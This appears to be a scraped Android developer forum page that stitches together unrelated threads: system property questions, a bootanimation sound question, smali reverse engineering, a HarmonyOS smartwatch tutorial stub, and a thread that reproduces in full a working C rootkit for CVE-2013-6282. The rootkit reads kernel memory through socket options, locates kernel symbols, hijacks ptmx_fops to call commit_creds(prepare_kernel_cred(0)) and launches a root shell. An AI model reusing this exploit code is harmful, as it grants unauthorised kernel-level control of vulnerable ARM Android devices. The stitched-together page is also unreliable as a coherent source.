[Q] property_set and property_get usage - Android Q&A, Help & Troubleshooting

Hi,
I'm trying to set and retrieve properties in my native code using property_get and property_set but it doesn't seem to be working. I tried adding debug logs but they don't show up too. I'm not sure if I'm doing it all wrong but here's what I did,
I have
Code:
property_set("dm.scheme",value);
in a function in one file and
Code:
char value[PROPERTY_VALUE_MAX];
property_get("dm.scheme",value,"0");
in another file.
I modified property_service.c to this
Code:
/* White list of permissions for setting property services. */
struct {
const char *prefix;
unsigned int uid;
unsigned int gid;
} property_perms[] = {
{ "net.rmnet0.", AID_RADIO, 0 },
...
{ "service.adb.tcp.port", AID_SHELL, 0 },
{ "persist.sys.", AID_SYSTEM, 0 },
{ "persist.service.", AID_SYSTEM, 0 },
{ "persist.security.", AID_SYSTEM, 0 },
{ "dm.", AID_SYSTEM, 0},
{ NULL, 0, 0 }
};
Am I missing anything here?

Related

[Q] How to use multi-threaded class in bootanimation?

Hi Droid-expert
For stock bootanimation in JB, there is a single threaded animation process/class inside. If I'd like to implement the power-on sound/tune as well. What's the best programming scheme/model it could be?
So far, by my understanding, I did something in BootAnimation.cpp in the following:
Did I do wrong? The handset boots up, it shows the animation first, and then the sound is played.
However, in a normal AOS adb shell session, try to run bootanimation, and it works fine (I mean both animation and sound are played at the same time)
Does the init is multi-threaded?
Anthony
class PlayerListener: public MediaPlayerListener, public Thread
{
public:
PlayerListener(): Thread(false), mp(NULL) {}
~PlayerListener() { delete mp; mp = NULL; }
virtual void notify(int, int, int, const Parcel *) {}
virtual bool threadLoop();
virtual status_t readyToRun();
private:
MediaPlayer* mp;
};
// ----------------------------------------------------------------------
bool PlayerListener::threadLoop()
{
if (mp != NULL)
mp->start();
sleep(100);
requestExit();
return false;
}
status_t PlayerListener::readyToRun()
{
int index = 7;
audio_devices_t device;
bool r;
mp = new MediaPlayer();
mp->setListener(this);
if (mp->setDataSource(SYSTEM_BOOTANIMATION_SOUND_FILE, NULL) == NO_ERROR) {
mp->setAudioStreamType(AUDIO_STREAM_ENFORCED_AUDIBLE);
mp->prepare();
mp->setLooping(false);
}
// AudioSystem::getStreamVolumeIndex(AUDIO_STREAM_ENFORCED_AUDIBLE, &index);
device = AudioSystem::getDevicesForStream(AUDIO_STREAM_ENFORCED_AUDIBLE);
r = AudioSystem::setStreamVolumeIndex(AUDIO_STREAM_ENFORCED_AUDIBLE, index, device);
r = AudioSystem::getStreamVolumeIndex(AUDIO_STREAM_ENFORCED_AUDIBLE, &index, device);
if (index != 0) {
mp->seekTo(0);
// mp->start();
}
return NO_ERROR;
}
bool BootAnimation::threadLoop()
{
bool r;
sp<PlayerListener> player = new PlayerListener();
player->run("BootAnimatedMelody", PRIORITY_AUDIO);
if (mAndroidAnimation) {
r = android();
} else {
r = movie();
}

Exploiting CVE-2013-6282 vulnerability

On October 25, 2013, a Linux kernel bug CVE-2013-6282 was published. It was largely exploited around that time to get root access on existing Android devices. After reading tons of user review, I also applied the rootkit to get root access on my Sony Xperia - L handeset successfully. It was quite surprising that even the latest firmware update, too, didn't fix the vulnerability. What the flaw basically says is,
The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the v6k and v7 ARM platforms do not validate certain addresses, which allows attackers to read or modify the contents of arbitrary kernel memory locations via a crafted application, as exploited in the wild against Android devices in October and November 2013.
Click to expand...
Click to collapse
The rootkit has its source code attached.
Code:
/* getroot 2013/12/07 */
/*
* Copyright (C) 2013 CUBE
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
#define KERNEL_START_ADDRESS 0xc0008000
#define KERNEL_SIZE 0x2000000
#define SEARCH_START_ADDRESS 0xc0800000
#define KALLSYMS_SIZE 0x200000
#define EXECCOMMAND "/system/bin/sh"
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>
#include <stdbool.h>
#include <errno.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/system_properties.h>
#define PTMX_DEVICE "/dev/ptmx"
unsigned long *kallsymsmem = NULL;
unsigned long pattern_kallsyms_addresses[] = {
0xc0008000, /* stext */
0xc0008000, /* _sinittext */
0xc0008000, /* _stext */
0xc0008000 /* __init_begin */
};
unsigned long pattern_kallsyms_addresses2[] = {
0xc0008000, /* stext */
0xc0008000 /* _text */
};
unsigned long pattern_kallsyms_addresses3[] = {
0xc00081c0, /* asm_do_IRQ */
0xc00081c0, /* _stext */
0xc00081c0 /* __exception_text_start */
};
unsigned long kallsyms_num_syms;
unsigned long *kallsyms_addresses;
unsigned char *kallsyms_names;
unsigned char *kallsyms_token_table;
unsigned short *kallsyms_token_index;
unsigned long *kallsyms_markers;
unsigned long prepare_kernel_cred_address = 0;
unsigned long commit_creds_address = 0;
unsigned long ptmx_fops_address = 0;
unsigned long ptmx_open_address = 0;
unsigned long tty_init_dev_address = 0;
unsigned long tty_release_address = 0;
unsigned long tty_fasync_address = 0;
unsigned long ptm_driver_address = 0;
struct cred;
struct task_struct;
struct cred *(*prepare_kernel_cred)(struct task_struct *);
int (*commit_creds)(struct cred *);
bool bChiled;
int read_value_at_address(unsigned long address, unsigned long *value) {
int sock;
int ret;
int i;
unsigned long addr = address;
unsigned char *pval = (unsigned char *)value;
socklen_t optlen = 1;
*value = 0;
errno = 0;
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock < 0) {
fprintf(stderr, "socket() failed: %s.\n", strerror(errno));
return -1;
}
for (i = 0; i < sizeof(*value); i++, addr++, pval++) {
errno = 0;
ret = setsockopt(sock, SOL_IP, IP_TTL, (void *)addr, 1);
if (ret != 0) {
if (errno != EINVAL) {
fprintf(stderr, "setsockopt() failed: %s.\n", strerror(errno));
close(sock);
*value = 0;
return -1;
}
}
errno = 0;
ret = getsockopt(sock, SOL_IP, IP_TTL, pval, &optlen);
if (ret != 0) {
fprintf(stderr, "getsockopt() failed: %s.\n", strerror(errno));
close(sock);
*value = 0;
return -1;
}
}
close(sock);
return 0;
}
unsigned long *kerneldump(unsigned long startaddr, unsigned long dumpsize) {
unsigned long addr;
unsigned long val;
unsigned long *allocaddr;
unsigned long *memaddr;
int cnt, num, divsize;
printf("kernel dump...\n");
allocaddr = (unsigned long *)malloc(dumpsize);
if (allocaddr == NULL) {
fprintf(stderr, "malloc failed: %s.\n", strerror(errno));
return NULL;
}
memaddr = allocaddr;
cnt = 0;
num = 0;
divsize = dumpsize / 10;
for (addr = startaddr; addr < (startaddr + dumpsize); addr += 4, memaddr++) {
if (read_value_at_address(addr, &val) != 0) {
printf("\n");
fprintf(stderr, "kerneldump failed: %s.\n", strerror(errno));
return NULL;
}
*memaddr = val;
cnt += 4;
if (cnt >= divsize) {
cnt = 0;
num++;
printf("%d ", num);
fflush(stdout);
}
}
printf("\n");
return allocaddr;
}
int check_pattern(unsigned long *addr, unsigned long *pattern, int patternnum) {
unsigned long val;
unsigned long cnt;
unsigned long i;
read_value_at_address((unsigned long)addr, &val);
if (val == pattern[0]) {
cnt = 1;
for (i = 1; i < patternnum; i++) {
read_value_at_address((unsigned long)(&addr[i]), &val);
if (val == pattern[i]) {
cnt++;
} else {
break;
}
}
if (cnt == patternnum) {
return 0;
}
}
return -1;
}
int check_kallsyms_header(unsigned long *addr) {
if (check_pattern(addr, pattern_kallsyms_addresses, sizeof(pattern_kallsyms_addresses) / 4) == 0) {
return 0;
} else if (check_pattern(addr, pattern_kallsyms_addresses2, sizeof(pattern_kallsyms_addresses2) / 4) == 0) {
return 0;
} else if (check_pattern(addr, pattern_kallsyms_addresses3, sizeof(pattern_kallsyms_addresses3) / 4) == 0) {
return 0;
}
return -1;
}
int get_kallsyms_addresses() {
unsigned long *endaddr;
unsigned long i, j;
unsigned long *addr;
unsigned long n;
unsigned long val;
unsigned long off;
int cnt, num;
if (read_value_at_address(KERNEL_START_ADDRESS, &val) != 0) {
fprintf(stderr, "this device is not supported.\n");
return -1;
}
printf("search kallsyms...\n");
endaddr = (unsigned long *)(KERNEL_START_ADDRESS + KERNEL_SIZE);
cnt = 0;
num = 0;
for (i = 0; i < (KERNEL_START_ADDRESS + KERNEL_SIZE - SEARCH_START_ADDRESS); i += 16) {
for (j = 0; j < 2; j++) {
cnt += 4;
if (cnt >= 0x10000) {
cnt = 0;
num++;
printf("%d ", num);
fflush(stdout);
}
/* get kallsyms_addresses pointer */
if (j == 0) {
kallsyms_addresses = (unsigned long *)(SEARCH_START_ADDRESS + i);
} else {
if ((i == 0) || ((SEARCH_START_ADDRESS - i) < KERNEL_START_ADDRESS)) {
continue;
}
kallsyms_addresses = (unsigned long *)(SEARCH_START_ADDRESS - i);
}
if (check_kallsyms_header(kallsyms_addresses) != 0) {
continue;
}
addr = kallsyms_addresses;
off = 0;
/* search end of kallsyms_addresses */
n = 0;
while (1) {
read_value_at_address((unsigned long)addr, &val);
if (val < KERNEL_START_ADDRESS) {
break;
}
n++;
addr++;
off++;
if (addr >= endaddr) {
return -1;
}
}
/* skip there is filled by 0x0 */
while (1) {
read_value_at_address((unsigned long)addr, &val);
if (val != 0) {
break;
}
addr++;
off++;
if (addr >= endaddr) {
return -1;
}
}
read_value_at_address((unsigned long)addr, &val);
kallsyms_num_syms = val;
addr++;
off++;
if (addr >= endaddr) {
return -1;
}
/* check kallsyms_num_syms */
if (kallsyms_num_syms != n) {
continue;
}
if (num > 0) {
printf("\n");
}
printf("(kallsyms_addresses=%08x)\n", (unsigned long)kallsyms_addresses);
printf("(kallsyms_num_syms=%08x)\n", kallsyms_num_syms);
kallsymsmem = kerneldump((unsigned long)kallsyms_addresses, KALLSYMS_SIZE);
if (kallsymsmem == NULL) {
return -1;
}
kallsyms_addresses = kallsymsmem;
endaddr = (unsigned long *)((unsigned long)kallsymsmem + KALLSYMS_SIZE);
addr = &kallsymsmem[off];
/* skip there is filled by 0x0 */
while (addr[0] == 0x00000000) {
addr++;
if (addr >= endaddr) {
return -1;
}
}
kallsyms_names = (unsigned char *)addr;
/* search end of kallsyms_names */
for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
int len = kallsyms_names[off];
off += len + 1;
if (&kallsyms_names[off] >= (unsigned char *)endaddr) {
return -1;
}
}
/* adjust */
addr = (unsigned long *)((((unsigned long)&kallsyms_names[off] - 1) | 0x3) + 1);
if (addr >= endaddr) {
return -1;
}
/* skip there is filled by 0x0 */
while (addr[0] == 0x00000000) {
addr++;
if (addr >= endaddr) {
return -1;
}
}
/* but kallsyms_markers shoud be start 0x00000000 */
addr--;
kallsyms_markers = addr;
/* end of kallsyms_markers */
addr = &kallsyms_markers[((kallsyms_num_syms - 1) >> 8) + 1];
if (addr >= endaddr) {
return -1;
}
/* skip there is filled by 0x0 */
while (addr[0] == 0x00000000) {
addr++;
if (addr >= endaddr) {
return -1;
}
}
kallsyms_token_table = (unsigned char *)addr;
i = 0;
while ((kallsyms_token_table[i] != 0x00) || (kallsyms_token_table[i + 1] != 0x00)) {
i++;
if (&kallsyms_token_table[i - 1] >= (unsigned char *)endaddr) {
return -1;
}
}
/* skip there is filled by 0x0 */
while (kallsyms_token_table[i] == 0x00) {
i++;
if (&kallsyms_token_table[i - 1] >= (unsigned char *)endaddr) {
return -1;
}
}
/* but kallsyms_markers shoud be start 0x0000 */
kallsyms_token_index = (unsigned short *)&kallsyms_token_table[i - 2];
return 0;
}
}
if (num > 0) {
printf("\n");
}
return -1;
}
unsigned long kallsyms_expand_symbol(unsigned long off, char *namebuf) {
int len;
int skipped_first;
unsigned char *tptr;
unsigned char *data;
/* Get the compressed symbol length from the first symbol byte. */
data = &kallsyms_names[off];
len = *data;
off += len + 1;
data++;
skipped_first = 0;
while (len > 0) {
tptr = &kallsyms_token_table[kallsyms_token_index[*data]];
data++;
len--;
while (*tptr > 0) {
if (skipped_first != 0) {
*namebuf = *tptr;
namebuf++;
} else {
skipped_first = 1;
}
tptr++;
}
}
*namebuf = '\0';
return off;
}
int search_functions() {
char namebuf[1024];
unsigned long i;
unsigned long off;
int cnt;
cnt = 0;
for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
off = kallsyms_expand_symbol(off, namebuf);
if (strcmp(namebuf, "prepare_kernel_cred") == 0) {
prepare_kernel_cred_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "commit_creds") == 0) {
commit_creds_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "ptmx_open") == 0) {
ptmx_open_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "tty_init_dev") == 0) {
tty_init_dev_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "tty_release") == 0) {
tty_release_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "tty_fasync") == 0) {
tty_fasync_address = kallsyms_addresses[i];
cnt++;
} else if (strcmp(namebuf, "ptmx_fops") == 0) {
ptmx_fops_address = kallsyms_addresses[i];
}
}
if (cnt < 6) {
return -1;
}
return 0;
}
void analyze_ptmx_open() {
unsigned long i, j, k;
unsigned long addr;
unsigned long val;
unsigned long regnum;
unsigned long data_addr;
printf("analyze ptmx_open...\n");
for (i = 0; i < 0x200; i += 4) {
addr = ptmx_open_address + i;
read_value_at_address(addr, &val);
if ((val & 0xff000000) == 0xeb000000) {
if ((((tty_init_dev_address / 4) - (addr / 4 + 2)) & 0x00ffffff) == (val & 0x00ffffff)) {
for (j = 1; j <= i; j++) {
addr = ptmx_open_address + i - j;
read_value_at_address(addr, &val);
if ((val & 0xfff0f000) == 0xe5900000) {
regnum = (val & 0x000f0000) >> 16;
for (k = 1; k <= (i - j); k++) {
addr = ptmx_open_address + i - j - k;
read_value_at_address(addr, &val);
if ((val & 0xfffff000) == (0xe59f0000 + (regnum << 12))) {
data_addr = addr + (val & 0x00000fff) + 8;
read_value_at_address(data_addr, &val);
ptm_driver_address = val;
return;
}
}
}
}
}
}
}
return;
}
unsigned long search_ptmx_fops_address() {
unsigned long *addr;
unsigned long range;
unsigned long *ptmx_fops_open;
unsigned long i;
unsigned long val, val2, val5;
int cnt, num;
printf("search ptmx_fops...\n");
if (ptm_driver_address != 0) {
addr = (unsigned long *)ptm_driver_address;
} else {
addr = (unsigned long *)(kallsyms_addresses[kallsyms_num_syms - 1]);
}
addr++;
ptmx_fops_open = NULL;
range = ((KERNEL_START_ADDRESS + KERNEL_SIZE) - (unsigned long)addr) / sizeof(unsigned long);
cnt = 0;
num = 0;
for (i = 0; i < range - 14; i++) {
read_value_at_address((unsigned long)(&addr[i]), &val);
if (val == ptmx_open_address) {
read_value_at_address((unsigned long)(&addr[i + 2]), &val2);
if (val2 == tty_release_address) {
read_value_at_address((unsigned long)(&addr[i + 5]), &val5);
if (val5 == tty_fasync_address) {
ptmx_fops_open = &addr[i];
break;
}
}
}
cnt += 4;
if (cnt >= 0x10000) {
cnt = 0;
num++;
printf("%d ", num);
fflush(stdout);
}
}
if (num > 0) {
printf("\n");
}
if (ptmx_fops_open == NULL) {
return 0;
}
return ((unsigned long)ptmx_fops_open - 0x2c);
}
int get_addresses() {
if (get_kallsyms_addresses() != 0) {
if (kallsymsmem != NULL) {
free(kallsymsmem);
kallsymsmem = NULL;
}
fprintf(stderr, "kallsyms_addresses search failed.\n");
return -1;
}
if (search_functions() != 0) {
if (kallsymsmem != NULL) {
free(kallsymsmem);
kallsymsmem = NULL;
}
fprintf(stderr, "search_functions failed.\n");
return -1;
}
if (ptmx_fops_address == 0) {
analyze_ptmx_open();
ptmx_fops_address = search_ptmx_fops_address();
if (ptmx_fops_address == 0) {
if (kallsymsmem != NULL) {
free(kallsymsmem);
kallsymsmem = NULL;
}
fprintf(stderr, "search_ptmx_fops_address failed.\n");
return -1;
}
}
if (kallsymsmem != NULL) {
free(kallsymsmem);
kallsymsmem = NULL;
}
printf("\n");
printf("prepare_kernel_cred=%08x\n", prepare_kernel_cred_address);
printf("commit_creds=%08x\n", commit_creds_address);
printf("ptmx_fops=%08x\n", ptmx_fops_address);
printf("\n");
return 0;
}
void obtain_root_privilege(void) {
commit_creds(prepare_kernel_cred(0));
}
static bool run_obtain_root_privilege(void *user_data) {
int fd;
fd = open(PTMX_DEVICE, O_WRONLY);
fsync(fd);
close(fd);
return true;
}
void ptrace_write_value_at_address(unsigned long int address, void *value) {
pid_t pid;
long ret;
int status;
bChiled = false;
pid = fork();
if (pid < 0) {
return;
}
if (pid == 0) {
ret = ptrace(PTRACE_TRACEME, 0, 0, 0);
if (ret < 0) {
fprintf(stderr, "PTRACE_TRACEME failed\n");
}
bChiled = true;
signal(SIGSTOP, SIG_IGN);
kill(getpid(), SIGSTOP);
exit(EXIT_SUCCESS);
}
do {
ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &bChiled, &bChiled);
} while (!bChiled);
ret = syscall(__NR_ptrace, PTRACE_PEEKDATA, pid, &value, (void *)address);
if (ret < 0) {
fprintf(stderr, "PTRACE_PEEKDATA failed: %s\n", strerror(errno));
}
kill(pid, SIGKILL);
waitpid(pid, &status, WNOHANG);
}
bool ptrace_run_exploit(unsigned long int address, void *value, bool (*exploit_callback)(void *user_data), void *user_data) {
bool success;
ptrace_write_value_at_address(address, value);
success = exploit_callback(user_data);
return success;
}
static bool run_exploit(void) {
unsigned long int ptmx_fops_fsync_address;
ptmx_fops_fsync_address = ptmx_fops_address + 0x38;
return ptrace_run_exploit(ptmx_fops_fsync_address, &obtain_root_privilege, run_obtain_root_privilege, NULL);
}
int main(int argc, char **argv) {
char devicename[PROP_VALUE_MAX];
char buildid[PROP_VALUE_MAX];
__system_property_get("ro.build.product", devicename);
__system_property_get("ro.build.id", buildid);
printf("ro.build.product=%s\n", devicename);
printf("ro.build.id=%s\n", buildid);
if (get_addresses() != 0) {
exit(EXIT_FAILURE);
}
prepare_kernel_cred = (void *)prepare_kernel_cred_address;
commit_creds = (void *)commit_creds_address;
run_exploit();
if (getuid() != 0) {
printf("Failed to getroot.\n");
exit(EXIT_FAILURE);
}
printf("Succeeded in getroot!\n");
printf("\n");
if (argc >= 2) {
system(argv[1]);
} else {
system(EXECCOMMAND);
}
exit(EXIT_SUCCESS);
return 0;
}
Can anyone shed some light on:
How's this ~650 lines of C code exploiting the bug?
Where can I have more technical information on the bug realize the magic played by the code under the hood?[/code][/quote]

System App reverse enginnering

Hello there!
I would need some help reverse engineering an app and recompiling it with some different code afterwards.
The App coordinates all the different components of my phone to work properly.
When you press the two fingerprint sensors, the app gives you haptic feedback and turns the screen from front to back or vice versa, depending on which side is facing up.
I need the app to do exactly that once when i wake up my phone either with fingerprint or power button, so the display illuminates which is facing up, and not the one i used recently.
I have some experience with java, but all i got are the .smali documents.
Is there any way to reliably get smali into java and back?
Code:
Code:
package org.mokee.settings.keyhandler;
import android.app.KeyguardManager;
import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.database.ContentObserver;
import android.os.Handler;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
import android.os.SystemClock;
import android.os.Vibrator;
import android.provider.Settings.Secure;
import android.provider.Settings.System;
import android.telephony.TelephonyManager;
import android.view.KeyEvent;
import com.android.internal.os.DeviceKeyHandler;
import org.mokee.internal.util.FileUtils;
import org.mokee.internal.util.PowerMenuConstants;
import org.mokee.settings.detector.MotionDetector;
import org.mokee.settings.detector.MotionDetector.MotionListener;
import org.mokee.settings.dualscreen.ScreenHelper;
public class KeyHandler implements DeviceKeyHandler {
private static final long DEBOUNCE_DELAY_MILLIS = 150;
public static final String FINGER_SWITCH_SETTING_KEY = "finger_switch_switch";
public static final String FORCE_FRONT_ON_CALL = "force_front_on_call";
public static final int FP_LEFT_KEY = 133;
public static final int FP_RIGHT_KEY = 134;
private static final int SWITCH_WAKELOCK_DURATION = 3000;
public static final String WAKE_FRONT_ON_CALL = "wake_front_on_call";
/* access modifiers changed from: private */
public static boolean sForceFrontOnRinging = true;
/* access modifiers changed from: private */
public static boolean sInCallRinging = false;
/* access modifiers changed from: private */
public static boolean sPressSwitch = true;
/* access modifiers changed from: private */
public static boolean sScreenTurnedOn = true;
/* access modifiers changed from: private */
public static boolean sWakeFrontOnRinging = true;
private KeyguardManager keyguardManager;
/* access modifiers changed from: private */
public final Context mContext;
private long mLeftFpDownTime = 0;
private boolean mLeftKeyPressed = false;
/* access modifiers changed from: private */
public MotionDetector mMotionDetector;
private final PowerManager mPowerManager;
private long mRightFpDownTime = 0;
private boolean mRightKeyPressed = false;
private final BroadcastReceiver mScreenStateReceiver = new BroadcastReceiver() {
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals("android.intent.action.SCREEN_OFF")) {
KeyHandler.sScreenTurnedOn = false;
} else if (intent.getAction().equals("android.intent.action.SCREEN_ON")) {
KeyHandler.sScreenTurnedOn = true;
if (KeyHandler.sInCallRinging && KeyHandler.sWakeFrontOnRinging) {
KeyHandler.this.mSwitchScreenHandler.post(new SwitchRunnable(1));
}
} else if (intent.getAction().equals("android.intent.action.PHONE_STATE")) {
if (KeyHandler.this.mTelephonyManager == null) {
KeyHandler.this.mTelephonyManager = (TelephonyManager) KeyHandler.this.mContext.getSystemService("phone");
}
if (KeyHandler.this.mTelephonyManager.getCallState() == 1) {
KeyHandler.sInCallRinging = true;
if (KeyHandler.sScreenTurnedOn && KeyHandler.sForceFrontOnRinging) {
KeyHandler.this.mSwitchScreenHandler.post(new SwitchRunnable(1));
return;
}
return;
}
KeyHandler.sInCallRinging = false;
}
}
};
/* access modifiers changed from: private */
public ScreenHelper mSwitchHelper;
/* access modifiers changed from: private */
public Handler mSwitchScreenHandler;
private WakeLock mSwitchWakeLock;
/* access modifiers changed from: private */
public TelephonyManager mTelephonyManager;
private final Vibrator mVibrator;
class SettingsObserver extends ContentObserver {
public SettingsObserver(Handler handler) {
super(handler);
}
/* access modifiers changed from: 0000 */
public void observe() {
ContentResolver contentResolver = KeyHandler.this.mContext.getContentResolver();
contentResolver.registerContentObserver(System.getUriFor(KeyHandler.WAKE_FRONT_ON_CALL), false, this, -1);
contentResolver.registerContentObserver(System.getUriFor(KeyHandler.FORCE_FRONT_ON_CALL), false, this, -1);
contentResolver.registerContentObserver(System.getUriFor(KeyHandler.FINGER_SWITCH_SETTING_KEY), false, this, -1);
update();
}
public void onChange(boolean z) {
update();
}
/* access modifiers changed from: 0000 */
public void update() {
ContentResolver contentResolver = KeyHandler.this.mContext.getContentResolver();
boolean z = true;
KeyHandler.sPressSwitch = System.getInt(contentResolver, KeyHandler.FINGER_SWITCH_SETTING_KEY, 1) == 1;
KeyHandler.sWakeFrontOnRinging = System.getInt(contentResolver, KeyHandler.WAKE_FRONT_ON_CALL, 1) == 1;
if (System.getInt(contentResolver, KeyHandler.FORCE_FRONT_ON_CALL, 1) != 1) {
z = false;
}
KeyHandler.sForceFrontOnRinging = z;
}
}
private class SwitchRunnable implements Runnable {
private long mSwitchCompleteTime = 0;
private int mTarget;
public SwitchRunnable(int i) {
this.mTarget = i;
}
public void run() {
if (this.mTarget != ScreenHelper.getHelper().getCurrentDisplayId()) {
doSwitch();
}
}
private void doSwitch() {
if (this.mSwitchCompleteTime > 0 && SystemClock.uptimeMillis() - this.mSwitchCompleteTime < 50) {
try {
Thread.sleep(Math.abs(SystemClock.uptimeMillis() - this.mSwitchCompleteTime));
} catch (Exception e) {
}
}
KeyHandler.this.mSwitchHelper.setCurrentDisplay(this.mTarget);
readLcdState(this.mTarget);
KeyHandler.this.mMotionDetector.setCurrentDisplayId(this.mTarget);
FileUtils.writeLine("/sys/class/backlight/panel0-backlight/brightness", FileUtils.readOneLine("/sys/class/backlight/panel0-backlight/brightness"));
this.mSwitchCompleteTime = SystemClock.uptimeMillis();
}
private void readLcdState(int i) {
int i2 = 0;
while (i2 < 200) {
int parseInt = Integer.parseInt(FileUtils.readOneLine("/sys/kernel/lcd_enhance/lcd_state"));
if (i == parseInt || parseInt > 1) {
i2++;
try {
Thread.sleep(10);
} catch (InterruptedException e) {
e.printStackTrace();
}
} else {
return;
}
}
}
}
public KeyHandler(Context context) {
this.mContext = context;
this.mVibrator = (Vibrator) context.getSystemService(Vibrator.class);
this.mPowerManager = (PowerManager) context.getSystemService(PowerMenuConstants.GLOBAL_ACTION_KEY_POWER);
this.mSwitchWakeLock = this.mPowerManager.newWakeLock(1, "NubiaPartsGestureWakeLock:");
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction("android.intent.action.SCREEN_OFF");
intentFilter.addAction("android.intent.action.SCREEN_ON");
intentFilter.addAction("android.intent.action.PHONE_STATE");
context.registerReceiver(this.mScreenStateReceiver, intentFilter);
this.mSwitchHelper = ScreenHelper.getHelper();
this.mSwitchScreenHandler = new Handler(this.mSwitchHelper.getLooper());
initMotionDetector();
initSettingsObserver();
}
private void initSettingsObserver() {
new SettingsObserver(new Handler()).observe();
}
private void initMotionDetector() {
this.mMotionDetector = new MotionDetector(this.mContext);
this.mMotionDetector.setMotionListener(new MotionListener() {
public void onMotionChange(int i) {
if (KeyHandler.sScreenTurnedOn) {
KeyHandler.this.mSwitchScreenHandler.post(new SwitchRunnable(i));
}
}
});
this.mMotionDetector.setCurrentDisplayId(ScreenHelper.getHelper().getCurrentDisplayId());
}
public KeyEvent handleKeyEvent(KeyEvent keyEvent) {
if (!hasSetupCompleted()) {
return keyEvent;
}
if (this.keyguardManager == null) {
this.keyguardManager = (KeyguardManager) this.mContext.getSystemService(KeyguardManager.class);
}
if (this.keyguardManager.isKeyguardLocked() || !sScreenTurnedOn) {
return keyEvent;
}
int keyCode = keyEvent.getKeyCode();
if (keyCode != 133 && keyCode != 134) {
return keyEvent;
}
boolean z = true;
if (keyEvent.getAction() != 1) {
z = false;
}
if (z) {
return interceptFpKeyUp(keyEvent);
}
return interceptFpKeyDown(keyEvent);
}
private KeyEvent interceptFpKeyDown(KeyEvent keyEvent) {
switch (keyEvent.getKeyCode()) {
case 133:
if (!this.mLeftKeyPressed && (keyEvent.getFlags() & 1024) == 0) {
this.mLeftKeyPressed = true;
this.mLeftFpDownTime = keyEvent.getDownTime();
triggerDoubleFpAction();
break;
}
case 134:
if (!this.mRightKeyPressed && (keyEvent.getFlags() & 1024) == 0) {
this.mRightKeyPressed = true;
this.mRightFpDownTime = keyEvent.getDownTime();
triggerDoubleFpAction();
break;
}
}
return null;
}
private KeyEvent interceptFpKeyUp(KeyEvent keyEvent) {
switch (keyEvent.getKeyCode()) {
case 133:
this.mLeftKeyPressed = false;
this.mLeftFpDownTime = 0;
break;
case 134:
this.mRightKeyPressed = false;
this.mRightFpDownTime = 0;
break;
}
if (this.mMotionDetector.isEnable()) {
this.mMotionDetector.disable();
}
return null;
}
private void triggerDoubleFpAction() {
if (this.mLeftKeyPressed && this.mRightKeyPressed && sPressSwitch) {
long uptimeMillis = SystemClock.uptimeMillis();
if (uptimeMillis <= this.mLeftFpDownTime + DEBOUNCE_DELAY_MILLIS && uptimeMillis <= this.mRightFpDownTime + DEBOUNCE_DELAY_MILLIS) {
this.mSwitchWakeLock.acquire(3000);
doHapticFeedback();
this.mMotionDetector.enable();
}
}
}
private void doHapticFeedback() {
if (this.mVibrator != null && this.mVibrator.hasVibrator()) {
this.mVibrator.vibrate(50);
}
}
private boolean hasSetupCompleted() {
return Secure.getInt(this.mContext.getContentResolver(), "user_setup_complete", 0) != 0;
}
}
Sorry for my bad english!
Thanks!
Tom04 said:
Hello there!
I would need some help reverse engineering an app and recompiling it with some different code afterwards.
The App coordinates all the different components of my phone to work properly.
When you press the two fingerprint sensors, the app gives you haptic feedback and turns the screen from front to back or vice versa, depending on which side is facing up.
I need the app to do exactly that once when i wake up my phone either with fingerprint or power button, so the display illuminates which is facing up, and not the one i used recently.
I have some experience with java, but all i got are the .smali documents.
Is there any way to reliably get smali into java and back?
Code:
Sorry for my bad english!
Thanks!
Click to expand...
Click to collapse
Try APKtool, open source, most used out there.
"apktool d (nameof the app).apk"
"apktool b (name of the app).apk" to recompile
If it's a system file, make sure you don't modify the original signature by adding -c to the last command.
Have a good day

Huawei Smart Watch – Quran Audio Player Application Development using JS/JAVA on HUAWEI DevEco Studio (HarmonyOS)

{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Article Introduction
In this article we will develop application for Huawei Smart Watch device using Huawei DevEco Studio (HarmonyOS). We will cover how to Develop Audio Player application for Huawei Smart Watch device using JS and JAVA language.
Huawei Smart Watch
· Video
File Data:
· Data Storage
· File Storage
Network Access:
· Uploading and Downloading
· Data Request
System Capabilities:
· Notification Message
· Network State
· Application Management
· Media Query
· Vibration
· Sensor
· Geographic Location
· Device Information
· Screen Brightness
· Battery Level
1. Create New Project
Let’s create Smart Watch Project and choosing ability template, Wearable and List Feature Ability (JS)
Define project name, package name and relevant directory where you want to save your project.
2. Run Application on Smart Watch Emulator
Let’s first configure the Smart Watch Emulator to test the application.
